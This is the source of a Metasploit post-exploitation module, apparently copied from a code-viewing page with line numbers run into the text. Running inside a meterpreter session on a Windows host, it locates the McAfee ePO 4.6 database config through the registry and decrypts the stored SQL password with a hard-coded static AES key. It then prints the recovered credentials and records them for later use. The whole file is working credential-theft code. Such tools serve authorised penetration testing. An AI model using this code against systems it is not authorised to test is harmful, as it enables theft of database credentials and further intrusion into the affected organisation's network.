Path: blob/master/modules/post/windows/gather/credentials/epo_sql.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/dns/resolver'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Registry9include Msf::Auxiliary::Report1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials',16'Description' => %q{17This module extracts connection details and decrypts the saved password for the18SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a19config file. They are encrypted with AES-128-ECB and a static key.20},21'License' => MSF_LICENSE,22'Author' => ['Nathan Einwechter <neinwechter[at]gmail.com>'],23'Platform' => [ 'win' ],24'SessionTypes' => [ 'meterpreter' ],25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [],28'Reliability' => []29},30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33core_channel_eof34core_channel_open35core_channel_read36core_channel_write37stdapi_net_resolve_host38]39}40}41)42)43end4445def run46# Find out where things are installed47print_status('Finding Tomcat install path...')48subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator', REGISTRY_VIEW_32_BIT)49if subkeys.nil? || subkeys.empty?50print_error('ePO 4.6 Not Installed or No Permissions to RegKey')51return52end53# Get the db.properties file location54epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator'55dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder', REGISTRY_VIEW_32_BIT)56if dbprops_file.nil? || (dbprops_file == '')57print_error('Could not find db.properties file location')58else59dbprops_file << '/conf/orion/db.properties'60print_good('Found db.properties location')61process_config(dbprops_file)62end63end6465def process_config(filename)66config = client.fs.file.new(filename, 'r')67print_status("Processing #{filename}")68contents = config.read69config_lines = contents.split("\n")70for line in config_lines71line.chomp72line_array = line.split('=')73case line_array[0]74when 'db.database.name'75database_name = ''76line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }77when 'db.instance.name'78database_instance = ''79line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }80when 'db.user.domain'81user_domain = ''82line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }83when 'db.user.name'84user_name = ''85line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }86when 'db.port'87port = ''88line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }89when 'db.user.passwd.encrypted.ex'90# ePO 4.6 encrypted password91passwd = ''92line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }93passwd.gsub('\\', '')94# Add any Base64 padding that may have been stripped out95passwd << '=' until (passwd.length % 4 == 0)96plaintext_passwd = decrypt46(passwd)97when 'db.user.passwd.encrypted'98# ePO 4.5 encrypted password - not currently supported, see notes below99passwd = ''100line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }101passwd.gsub('\\', '')102# Add any Base64 padding that may have been stripped out103passwd << '=' until (passwd.length % 4 == 0)104plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'105when 'db.server.name'106database_server_name = ''107line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }108end109end110111# resolve IP address for creds reporting112113result = client.net.resolve.resolve_host(database_server_name)114if result[:ip].nil? || result[:ip].empty?115print_error('Could not determine IP of DB - credentials not added to report database')116return117end118119db_ip = result[:ip]120121print_good("SQL Server: #{database_server_name}")122print_good("SQL Instance: #{database_instance}")123print_good("Database Name: #{database_name}")124if db_ip125print_good("Database IP: #{db_ip}")126end127print_good("Port: #{port}")128if user_domain.nil? || (user_domain == '')129print_good('Authentication Type: SQL')130full_user = user_name131else132print_good('Authentication Type: Domain')133print_good("Domain: #{user_domain}")134full_user = "#{user_domain}\\#{user_name}"135end136print_good("User: #{full_user}")137print_good("Password: #{plaintext_passwd}")138139if db_ip140# submit to reports141service_data = {142address: Rex::Socket.getaddress(db_ip),143port: port,144protocol: 'tcp',145service_name: 'mssql',146workspace_id: myworkspace_id147}148149credential_data = {150origin_type: :session,151session_id: session_db_id,152post_reference_name: refname,153username: full_user,154private_data: plaintext_passwd,155private_type: :password156}157158credential_core = create_credential(credential_data.merge(service_data))159160login_data = {161core: credential_core,162access_level: 'User',163status: Metasploit::Model::Login::Status::UNTRIED164}165166create_credential_login(login_data.merge(service_data))167print_good('Added credentials to report database')168else169print_error('Could not determine IP of DB - credentials not added to report database')170end171end172173def decrypt46(encoded)174encrypted_data = Rex::Text.decode_base64(encoded)175aes = OpenSSL::Cipher.new('AES-128-ECB')176aes.decrypt177aes.padding = 0178# Private key extracted from ePO 4.6.0 Build 1029179# If other keys are required for other versions of 4.6 - will have to add version180# identification routines in to the main part of the module181key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ]182aes.key = key.pack('C*')183password = aes.update(encrypted_data) + aes.final184# Get rid of all the crazy \f's that result185password.gsub!(/[^[:print:]]/, '')186return password187end188end189190191